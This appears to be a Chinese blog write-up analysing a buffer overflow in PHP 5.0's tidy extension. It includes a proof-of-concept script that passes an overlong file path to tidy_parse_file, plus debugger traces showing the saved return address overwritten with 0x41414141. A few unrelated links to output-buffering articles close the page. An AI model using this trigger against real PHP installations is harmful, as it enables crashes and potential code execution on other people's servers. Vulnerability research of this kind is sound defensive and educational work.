PHP5.0 TIDY_PARSE_FILE缓冲区溢出漏洞的解决方案

漏洞说明

不得不再次吐槽一下exploit-db对exp审核的质量,这个exp仍然不能触发漏洞,修改第一个参数则可以触发,我给出的poc是一个可以触发php漏洞的,问题出现在php_tidy.dll扩展中,对tidy_parse_file的第二个参数,也就是文件绝对路径没有进行长度控制和内容校验,导致在fopen失败后进入失败处理逻辑引发缓冲区溢出,下面对此漏洞进行详细分析。

软件下载:

https://www.exploit-db.com/apps/f8fb5676b6a32f7be1c8d8d373fbc2af-php-5.0.0-Win32.zip (本地下载)

PoC:

<?php

$junk = str_repeat("A", 2040); # 2036 x A
$buffer = $junk;
tidy_parse_file(“http://www.baidu.com”,$buffer,1,1);
#tidy_repair_file(1,$buffer,1,1);
?>

漏洞分析

首先介绍一下tidy_parse_file,主要是用来处理html标签,并且对处理字符串进行存储,主要关心的是第二个参数。
php会先调用php_module_startup函数对php.ini配置文件进行一系列初始化,包括获取extension扩展。

0:000> p
eax=10338504 ebx=100671a0 ecx=00a558a8 edx=0012fe30 esi=00a558a0 edi=003b3b98
eip=1004b038 esp=0012fc0c ebp=003b3b98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
php5ts!zend_llist_apply+0x18:
1004b038 57              push    edi
0:000> p
eax=10338504 ebx=100671a0 ecx=00a558a8 edx=0012fe30 esi=00a558a0 edi=003b3b98
eip=1004b039 esp=0012fc08 ebp=003b3b98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
php5ts!zend_llist_apply+0x19:
1004b039 51              push    ecx
0:000> p
eax=10338504 ebx=100671a0 ecx=00a558a8 edx=0012fe30 esi=00a558a0 edi=003b3b98
eip=1004b03a esp=0012fc04 ebp=003b3b98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
php5ts!zend_llist_apply+0x1a:
1004b03a ffd3            call    ebx {php5ts!display_ini_entries+0xb20 (100671a0)}

这个过程不重要,直接略过,在最后会调用php的excute_script用来执行扩展中的API。进入php_tidy.dll动态链接库中。单步跟踪这个过程。

0:000> p
eax=00a1e358 ebx=00a1e358 ecx=00a1d928 edx=00a1e2e0 esi=00000000 edi=003b3bc8
eip=00b526ea esp=0012fad0 ebp=00a1e2e0 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
php_tidy!get_module+0x16ea:
00b526ea 8b442428        mov     eax,dword ptr [esp+28h] ss:0023:0012faf8=00a10001
0:000> p
eax=00a10001 ebx=00a1e358 ecx=00a1d928 edx=00a1e2e0 esi=00000000 edi=003b3bc8
eip=00b526ee esp=0012fad0 ebp=00a1e2e0 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
php_tidy!get_module+0x16ee:
00b526ee 57              push    edi
0:000> p
eax=00a10001 ebx=00a1e358 ecx=00a1d928 edx=00a1e2e0 esi=00000000 edi=003b3bc8
eip=00b526ef esp=0012facc ebp=00a1e2e0 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
php_tidy!get_module+0x16ef:
00b526ef 50              push    eax
0:000> p
eax=00a10001 ebx=00a1e358 ecx=00a1d928 edx=00a1e2e0 esi=00000000 edi=003b3bc8
eip=00b526f0 esp=0012fac8 ebp=00a1e2e0 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
php_tidy!get_module+0x16f0:
00b526f0 51              push    ecx
0:000> p
eax=00a10001 ebx=00a1e358 ecx=00a1d928 edx=00a1e2e0 esi=00000000 edi=003b3bc8
eip=00b526f1 esp=0012fac4 ebp=00a1e2e0 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
php_tidy!get_module+0x16f1:
00b526f1 e8ca010000      call    php_tidy!get_module+0x18c0 (00b528c0)
0:000> p
ModLoad: 719c0000 719fe000   C:\WINDOWS\System32\mswsock.dll
ModLoad: 76ef0000 76f17000   C:\WINDOWS\system32\DNSAPI.dll
ModLoad: 76f90000 76f96000   C:\WINDOWS\system32\rasadhlp.dll
ModLoad: 60fd0000 61025000   C:\WINDOWS\system32\hnetcfg.dll
ModLoad: 71a00000 71a08000   C:\WINDOWS\System32\wshtcpip.dll
eax=00a24198 ebx=00a1e358 ecx=00a24198 edx=00a10000 esi=00000000 edi=003b3bc8
eip=00b526f6 esp=0012fac4 ebp=00a1e2e0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
php_tidy!get_module+0x16f6:
00b526f6 83c420          add     esp,20h

在00b526f1函数位置,会调用php_tidy的一个函数,单步步过时,可以看到加载了一系列dll,比如DNSAPI,mswsock,可以猜测这个函数的主要功能应该是和第一个参数的服务器建立连接,观察一下这个call函数的参数。

0:000> bp 00b526f1
*** WARNING: Unable to verify checksum for C:\php\ext\php_tidy.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\php\ext\php_tidy.dll -
0:000> g
Breakpoint 1 hit
eax=00a10001 ebx=00a1e358 ecx=00a1d928 edx=00a1e2e0 esi=00000000 edi=003b3bc8
eip=00b526f1 esp=0012fac4 ebp=00a1e2e0 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
php_tidy!get_module+0x16f1:
00b526f1 e8ca010000      call    php_tidy!get_module+0x18c0 (00b528c0)
0:000> dd esp
0012fac4  00a1d928 00a10001 003b3bc8 00a1e2e0
0:000> dc 00a1d928
00a1d928  70747468 772f2f3a 622e7777 75646961  http://www.baidu
00a1d938  6d6f632e baadf000 abababab abababab  .com............

第一个参数的内容就是tidy_parse_file函数的第一个参数,果然没错,这个函数执行完毕后继续单步跟踪。

0:000> p
eax=00a1e420 ebx=00a1e358 ecx=00a1da80 edx=00a1e3e8 esi=00a1d8b8 edi=003b3bc8
eip=00b5287e esp=0012fae0 ebp=00a1e2e0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
php_tidy!get_module+0x187e:
00b5287e 50              push    eax
0:000> p
eax=00a1e420 ebx=00a1e358 ecx=00a1da80 edx=00a1e3e8 esi=00a1d8b8 edi=003b3bc8
eip=00b5287f esp=0012fadc ebp=00a1e2e0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
php_tidy!get_module+0x187f:
00b5287f e83c260000      call    php_tidy!get_module+0x3ec0 (00b54ec0)

程序执行到00b5287f地址位置,这里再次调用了一个call函数,来看一下参数情况。

0:000> dd esp
0012fadc  00a1e420 00a1da80 003b3bc8 0012fb88

0:000> dd 00a1da80
00a1da80  41414141 41414141 41414141 41414141
00a1da90  41414141 41414141 41414141 41414141
00a1daa0  41414141 41414141 41414141 41414141
00a1dab0  41414141 41414141 41414141 41414141
00a1dac0  41414141 41414141 41414141 41414141
00a1dad0  41414141 41414141 41414141 41414141
00a1dae0  41414141 41414141 41414141 41414141
00a1daf0  41414141 41414141 41414141 41414141

终于接收到了畸形字符串,作为第二个参数传入。查看一下这个函数的IDA pro伪代码。

signed int __cdecl sub_10004EC0(int a1, int a2)
{
 signed int result; // eax@2

 if ( a1 )
 result = sub_1000AC30(a1, a2);
 else
 result = -22;
 return result;
}

很简单的函数逻辑,第二个参数会作为内部参数再次传递,调用sub_1000AC30,或者直接返回-22,单步跟踪。

0:000> p
eax=00a1e420 ebx=00a1e358 ecx=00a1da80 edx=00a1e3e8 esi=00a1d8b8 edi=003b3bc8
eip=00b54ecc esp=0012fad8 ebp=00a1e2e0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
php_tidy!get_module+0x3ecc:
00b54ecc 51              push    ecx
0:000> p
eax=00a1e420 ebx=00a1e358 ecx=00a1da80 edx=00a1e3e8 esi=00a1d8b8 edi=003b3bc8
eip=00b54ecd esp=0012fad4 ebp=00a1e2e0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
php_tidy!get_module+0x3ecd:
00b54ecd 50              push    eax
0:000> p
eax=00a1e420 ebx=00a1e358 ecx=00a1da80 edx=00a1e3e8 esi=00a1d8b8 edi=003b3bc8
eip=00b54ece esp=0012fad0 ebp=00a1e2e0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
php_tidy!get_module+0x3ece:
00b54ece e85d5d0000      call    php_tidy!get_module+0x9c30 (00b5ac30)
0:000> dd esp
0012fad0  00a1e420 00a1da80 00b52884 00a1e420
0:000> dc 00a1da80
00a1da80  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00a1da90  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00a1daa0  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

这里会进入if语句,直接调用sub_1000AC30函数,参数也继续传递,跟入这个函数。

int __cdecl sub_1000AC30(int a1, int a2)
{
 return sub_1000AC50(a1, (char *)a2, (int)aAscii);
}

这个也很简单,继续跟入。

signed int __cdecl sub_1000AC50(int a1, char *a2, int a3)
{
 v3 = a1;
 v20 = *(_DWORD *)(a1 + 1168);
 v4 = (const char *)sub_1000AB80((int)a2);
 v5 = (char *)v4;
 v21 = v4;
 v6 = a1 + 72;
 v7 = fopen(v4, Mode);
 v8 = v7;
 v19 = v7;
 v9 = sub_1000BBA0(a3);
 if ( !v8 || v9 < 0 )
 {
 sub_10013E80(a1, (int)v5, 2);
 return -1;
 }

在内部函数中,会执行一处fopen操作,打开的对象是v4,v4又是直接从a2获取的,a2就是刚才直接传递的畸形字符串,很显然,打开畸形字符串肯定是失败的。

0:000> p
eax=00000001 ebx=00a1e420 ecx=00000000 edx=00b796a0 esi=00000000 edi=00a1da80
eip=00b5aca7 esp=0012da5c ebp=00a1e468 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
php_tidy!get_module+0x9ca7:
00b5aca7 85f6            test    esi,esi
0:000> p
eax=00000001 ebx=00a1e420 ecx=00000000 edx=00b796a0 esi=00000000 edi=00a1da80
eip=00b5aca9 esp=0012da5c ebp=00a1e468 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
php_tidy!get_module+0x9ca9:
00b5aca9 0f8410020000    je      php_tidy!get_module+0x9ebf (00b5aebf)   [br=1]
0:000> p
eax=00000001 ebx=00a1e420 ecx=00000000 edx=00b796a0 esi=00000000 edi=00a1da80
eip=00b5aebf esp=0012da5c ebp=00a1e468 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
php_tidy!get_module+0x9ebf:
00b5aebf 6a02            push    2

也就是会进入上述伪代码中的if语句中的分支,调用sub_10013E80函数。

0:000> p
eax=00000001 ebx=00a1e420 ecx=00000000 edx=00b796a0 esi=00000000 edi=00a1da80
eip=00b5aec1 esp=0012da58 ebp=00a1e468 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
php_tidy!get_module+0x9ec1:
00b5aec1 57              push    edi
0:000> p
eax=00000001 ebx=00a1e420 ecx=00000000 edx=00b796a0 esi=00000000 edi=00a1da80
eip=00b5aec2 esp=0012da54 ebp=00a1e468 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
php_tidy!get_module+0x9ec2:
00b5aec2 53              push    ebx
0:000> p
eax=00000001 ebx=00a1e420 ecx=00000000 edx=00b796a0 esi=00000000 edi=00a1da80
eip=00b5aec3 esp=0012da50 ebp=00a1e468 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
php_tidy!get_module+0x9ec3:
00b5aec3 e8b88f0000      call    php_tidy!get_module+0x12e80 (00b63e80)
0:000> dd edi
00a1da80  41414141 41414141 41414141 41414141
00a1da90  41414141 41414141 41414141 41414141
00a1daa0  41414141 41414141 41414141 41414141
00a1dab0  41414141 41414141 41414141 41414141
00a1dac0  41414141 41414141 41414141 41414141
00a1dad0  41414141 41414141 41414141 41414141

接下来00b5aec3地址位置的call函数调用,有4个参数,看一下伪代码。

int (__cdecl *sub_10013A20(int arg0, int arg4, char *Format, ...))(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD)
{
 va_list va; // [sp+10h] [bp+10h]@1

 va_start(va, Format);
 return sub_10013A50(arg0, arg4, 0, 0, Format, va);
}

这里会直接传入sub_10013A50函数,但实际上这个函数传参和畸形字符串并没有关系,va是一个名为va_list的结构体。

实际上,进入的这个函数,就是要负责处理构造一个报错的字符串,而问题就出在这个函数中,跟入这个函数,单步跟踪后会发现,函数首先会进入一处循环。

0:000> p
eax=0000006e ebx=00000000 ecx=00a21080 edx=00a1e958 esi=00a1e420 edi=0012d1de
eip=00b63b3a esp=0012d1cc ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
php_tidy!get_module+0x12b3a:
00b63b3a 0fbec0          movsx   eax,al
0:000> p
eax=0000006e ebx=00000000 ecx=00a21080 edx=00a1e958 esi=00a1e420 edi=0012d1de
eip=00b63b3d esp=0012d1cc ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
php_tidy!get_module+0x12b3d:
00b63b3d 52              push    edx
0:000> p
eax=0000006e ebx=00000000 ecx=00a21080 edx=00a1e958 esi=00a1e420 edi=0012d1de
eip=00b63b3e esp=0012d1c8 ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
php_tidy!get_module+0x12b3e:
00b63b3e 50              push    eax
0:000> p
eax=0000006e ebx=00000000 ecx=00a21080 edx=00a1e958 esi=00a1e420 edi=0012d1de
eip=00b63b3f esp=0012d1c4 ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
php_tidy!get_module+0x12b3f:
00b63b3f e88c34ffff      call    php_tidy!get_module+0x5fd0 (00b56fd0)
0:000> p
eax=00000003 ebx=00000000 ecx=00a21080 edx=00000002 esi=00a1e420 edi=0012d1de
eip=00b63b44 esp=0012d1c4 ebp=00000000 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
php_tidy!get_module+0x12b44:
00b63b44 8a4701          mov     al,byte ptr [edi+1]        ds:0023:0012d1df=66
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00000002 esi=00a1e420 edi=0012d1de
eip=00b63b47 esp=0012d1c4 ebp=00000000 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
php_tidy!get_module+0x12b47:
00b63b47 83c408          add     esp,8
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00000002 esi=00a1e420 edi=0012d1de
eip=00b63b4a esp=0012d1cc ebp=00000000 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
php_tidy!get_module+0x12b4a:
00b63b4a 47              inc     edi
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00000002 esi=00a1e420 edi=0012d1df
eip=00b63b4b esp=0012d1cc ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
php_tidy!get_module+0x12b4b:
00b63b4b 84c0            test    al,al
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00000002 esi=00a1e420 edi=0012d1df
eip=00b63b4d esp=0012d1cc ebp=00000000 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
php_tidy!get_module+0x12b4d:
00b63b4d 75e5            jne     php_tidy!get_module+0x12b34 (00b63b34)  [br=1]
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00000002 esi=00a1e420 edi=0012d1df
eip=00b63b34 esp=0012d1cc ebp=00000000 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
php_tidy!get_module+0x12b34:
00b63b34 8b9684040000    mov     edx,dword ptr [esi+484h] ds:0023:00a1e8a4=00a1e958
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00a1e958 esi=00a1e420 edi=0012d1df
eip=00b63b3a esp=0012d1cc ebp=00000000 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
php_tidy!get_module+0x12b3a:
00b63b3a 0fbec0          movsx   eax,al
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00a1e958 esi=00a1e420 edi=0012d1df
eip=00b63b3d esp=0012d1cc ebp=00000000 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
php_tidy!get_module+0x12b3d:
00b63b3d 52              push    edx
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00a1e958 esi=00a1e420 edi=0012d1df
eip=00b63b3e esp=0012d1c8 ebp=00000000 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
php_tidy!get_module+0x12b3e:
00b63b3e 50              push    eax
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00a1e958 esi=00a1e420 edi=0012d1df
eip=00b63b3f esp=0012d1c4 ebp=00000000 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
php_tidy!get_module+0x12b3f:
00b63b3f e88c34ffff      call    php_tidy!get_module+0x5fd0 (00b56fd0)
0:000> p
eax=00000004 ebx=00000000 ecx=00a21080 edx=00000003 esi=00a1e420 edi=0012d1df
eip=00b63b44 esp=0012d1c4 ebp=00000000 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
php_tidy!get_module+0x12b44:
00b63b44 8a4701          mov     al,byte ptr [edi+1]        ds:0023:0012d1e0=69
0:000> dc edi
0012d1df  3a676966 12d20020 12d26c00 92e90000  fig: ....l......
0012d1ef  9392f87c ffffff7c 9392efff 12d27c7c  |...|.......||..

我在循环中间做了一次停顿,可以看到edi一直在拷贝一字节进al,实际上,这个过程是在拷贝第一个字符串。直接看一下拷贝结束后的目标地址空间。

Breakpoint 1 hit
eax=00000001 ebx=00000000 ecx=00a21080 edx=00000000 esi=00a1e420 edi=0012d1dc
eip=00b63b44 esp=0012d1c4 ebp=00000000 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
php_tidy!get_module+0x12b44:
00b63b44 8a4701          mov     al,byte ptr [edi+1]        ds:0023:0012d1dd=6f
0:000> dc edi
0012d1dc  666e6f43 203a6769 0012d200 0012d26c  Config:

第一个字符串时候Config,接下来马上会到达另一处循环。

0:000> p
eax=00000043 ebx=00000000 ecx=00a1e958 edx=00000043 esi=00a1e420 edi=0012d21c
eip=00b63b64 esp=0012d1cc ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
php_tidy!get_module+0x12b64:
00b63b64 51              push    ecx
0:000> p
eax=00000043 ebx=00000000 ecx=00a1e958 edx=00000043 esi=00a1e420 edi=0012d21c
eip=00b63b65 esp=0012d1c8 ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
php_tidy!get_module+0x12b65:
00b63b65 52              push    edx
0:000> p
eax=00000043 ebx=00000000 ecx=00a1e958 edx=00000043 esi=00a1e420 edi=0012d21c
eip=00b63b66 esp=0012d1c4 ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
php_tidy!get_module+0x12b66:
00b63b66 e86534ffff      call    php_tidy!get_module+0x5fd0 (00b56fd0)
0:000> p
eax=00000009 ebx=00000000 ecx=00a21080 edx=00000008 esi=00a1e420 edi=0012d21c
eip=00b63b6b esp=0012d1c4 ebp=00000000 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
php_tidy!get_module+0x12b6b:
00b63b6b 8a4701          mov     al,byte ptr [edi+1]        ds:0023:0012d21d=61
0:000> dc edi
0012d21c  276e6143 706f2074 22206e65 41414141  Can't open "AAAA
0012d22c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0012d23c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0012d24c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0012d25c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0012d26c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

这里就会拷贝cant open + 畸形字符串 的字符串了,这里拷贝过程并没有对拷贝字符串进行长度控制,导致拷贝结束后会溢出目标字符串的缓冲区。

拷贝结束后,可以直接看一下目标缓冲区的内容。

0:000> p
eax=00000041 ebx=00000000 ecx=00a21080 edx=0000001a esi=00a1e420 edi=0012d22e
eip=00b63b6e esp=0012d1c4 ebp=00000000 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
php_tidy!get_module+0x12b6e:
00b63b6e 83c408          add     esp,8
0:000> p
eax=00000041 ebx=00000000 ecx=00a21080 edx=0000001a esi=00a1e420 edi=0012d22e
eip=00b63b71 esp=0012d1cc ebp=00000000 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
php_tidy!get_module+0x12b71:
00b63b71 47              inc     edi
0:000> p
eax=00000041 ebx=00000000 ecx=00a21080 edx=0000001a esi=00a1e420 edi=0012d22f
eip=00b63b72 esp=0012d1cc ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
php_tidy!get_module+0x12b72:
00b63b72 84c0            test    al,al
0:000> dc ecx
00a21080  666e6f43 203a6769 276e6143 706f2074  Config: Can't op
00a21090  22206e65 41414141 00414141 00000000  en "AAAAAAA.....

此时缓冲区已经溢出,看一下缓冲区内的情况。

0:000> bp 00b63b84
0:000> dc ecx
00a1ef88  666e6f43 203a6769 276e6143 706f2074  Config: Can't op
00a1ef98  22206e65 41414141 41414141 41414141  en "AAAAAAAAAAAA
00a1efa8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00a1efb8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00a1efc8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00a1efd8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

执行到返回

0:000> p
eax=00000811 ebx=00000000 ecx=00a1ef88 edx=00000810 esi=00000000 edi=00a1da80
eip=00b63b89 esp=0012d1d4 ebp=00000000 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
php_tidy!get_module+0x12b89:
00b63b89 5d              pop     ebp
0:000> p
eax=00000811 ebx=00000000 ecx=00a1ef88 edx=00000810 esi=00000000 edi=00a1da80
eip=00b63b8a esp=0012d1d8 ebp=00a1e468 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
php_tidy!get_module+0x12b8a:
00b63b8a 5b              pop     ebx
0:000> p
eax=00000811 ebx=00a1e420 ecx=00a1ef88 edx=00000810 esi=00000000 edi=00a1da80
eip=00b63b8b esp=0012d1dc ebp=00a1e468 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
php_tidy!get_module+0x12b8b:
00b63b8b 81c440080000    add     esp,840h
0:000> p
eax=00000811 ebx=00a1e420 ecx=00a1ef88 edx=00000810 esi=00000000 edi=00a1da80
eip=00b63b91 esp=0012da1c ebp=00a1e468 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
php_tidy!get_module+0x12b91:
00b63b91 c3              ret
0:000> dd esp
0012da1c  41414141 00000a22 00000002 00000000

此时esp已经被覆盖,返回后到达可控位置。

0:000> p
eax=00000811 ebx=00a1e420 ecx=00a1ef88 edx=00000810 esi=00000000 edi=00a1da80
eip=41414141 esp=0012da20 ebp=00a1e468 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
41414141 ??              ???

通过IDA pro可以看到这个存在问题的函数逻辑,实际上两处拷贝时两处for循环,但并没有对for循环长度进行控制,而是全部拷贝。

int (__cdecl *__cdecl sub_10013A50(int a1, int a2, int a3, int a4, char *Format, va_list Args))(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD)
{
 ……
  for ( j = &v14; v10; ++j )
  {
  sub_10006FD0(v10, *(_DWORD *)(a1 + 1156));
  v10 = j[1];
  }
  v12 = Dest;
  for ( k = &Dest; v12; ++k )
  {
  sub_10006FD0(v12, *(_DWORD *)(a1 + 1156));
  v12 = k[1];
  }
  result = (int (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))sub_10006FD0(10, *(_DWORD *)(a1 + 1156));
  return result
}

这里省去了大部分代码逻辑,只保留了关键位置,正是这里的溢出,导致报错的情况下产生缓冲区溢出漏洞,从而可以执行任意代码。

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,如果有疑问大家可以留言交流,谢谢大家对我们的支持。

(0)

相关推荐

  • 剖析 PHP 中的输出缓冲

    我们先来看一段代码: 〈?php     for ($i=10; $i〉0; $i--)     {      echo $i;      flush();      sleep(1);     }     ?〉 按照php手册里的说法,该函数将当前为止程序的所有输出发送到用户的浏览器. 上面的这段代码,应该隔一秒钟输出一次$i.但是实际中却不一定是这样.有可能是等了10秒钟后,所有的输出同时呈现出来. 好,我们来改一下这段代码,改成 〈?php     ob_end_clean();//修改部

  • php中的buffer缓冲区用法分析

    本文实例讲述了php中的buffer缓冲区用法.分享给大家供大家参考,具体如下: buffer其实就是缓冲区,一个内存地址空间,主要用于存储数据 <?php echo 1; 我们都运行程序浏览器访问,会显示1. 但是其实这中间会经历一个buffer,我们可以这样理解:这个1数据会先到php缓存区,当这个缓冲区满了之后,再传给客户端(浏览器). 这个过程大致流程如下: 内容 -> php buffer -> tcp -> 终端(浏览器) php.ini output_bufferin

  • php中ob(Output Buffer 输出缓冲)函数使用方法

    来自:http://bbs.phome.net/ShowThread/?threadid=9247&forumid=2  在PHP编程中,  我们经常会遇到一些直接产生输出的函数,  如passthru(),readfile(),  var_dump()  等.  但有时我们想把这些函数的输出导入到文件中,或者先经过处理再输出,  或者把这些函数的输出作为字符串来处理.    这时我们就要用到  Output  Buffer(输出缓冲)  函数了. 处理输出缓冲的函数主要有这么几个:    ob

  • PHP基础之输出缓冲区基本概念、原理分析

    本文实例讲述了PHP基础之输出缓冲区.分享给大家供大家参考,具体如下: 一.概念 在PHP运行的过程中,可以将会产生输出的函数或操作结果暂时保存在PHP的缓冲区,只有当缓冲区满了.或者PHP运行完毕.或者在必要时候进行输出,才会将数据输出到浏览器,此缓冲数据的区域称为PHP的输出缓冲区(OB). 二.原理 ①使用了缓冲区之后,当执行PHP的时候,如果碰到了echo.print_r之类的会输出数据的代码(实际上许多函数都会产生输出),PHP就会将要输出的数据放到PHP自身的缓冲区,等待输出: ②当

  • 刷新PHP缓冲区为你的站点加速

    在当前 PHP 版本的默认配置下,"输出缓冲(Output Buffering)"是被打开的.旧版本则不是这样,在旧版本的 PHP 中,字符串在每次被输出的时候(通过 echo 或 print 函数),都会触发一次发送到客户端浏览器的动作. "输出缓冲"的引入,使得这一过程更加快速.更加高效.缓冲区实际上是在内存中开辟了一块区域,可以认为是内存中的一个大的字符串.当程序中有字符要输出的时候,会把要输出的内容附加到该缓冲区中,用来替代旧版本 PHP 中每次都直接输出到

  • PHP 输出缓冲控制(Output Control)详解

      php 缓冲简介 其实我对php ob 系列印象还是很模糊,具体怎么玩的,还不是很了解,平时curd,确实对这些内容没有深入.作为phper 甚是惭愧.网上搜了一通,互相copy,代码运行不能出现作者所描述现象,本文良心出品,代码都是作者运行过. 当执行输出的时候,比如 echo,print.输出并没有立即送给 web server, 而是将数据写入 php buffer.php output_buffering 机制好处当然提升性能.其实 php 文件最终在浏览器上显示,走过3个缓冲阶段:

  • php flush类输出缓冲剖析

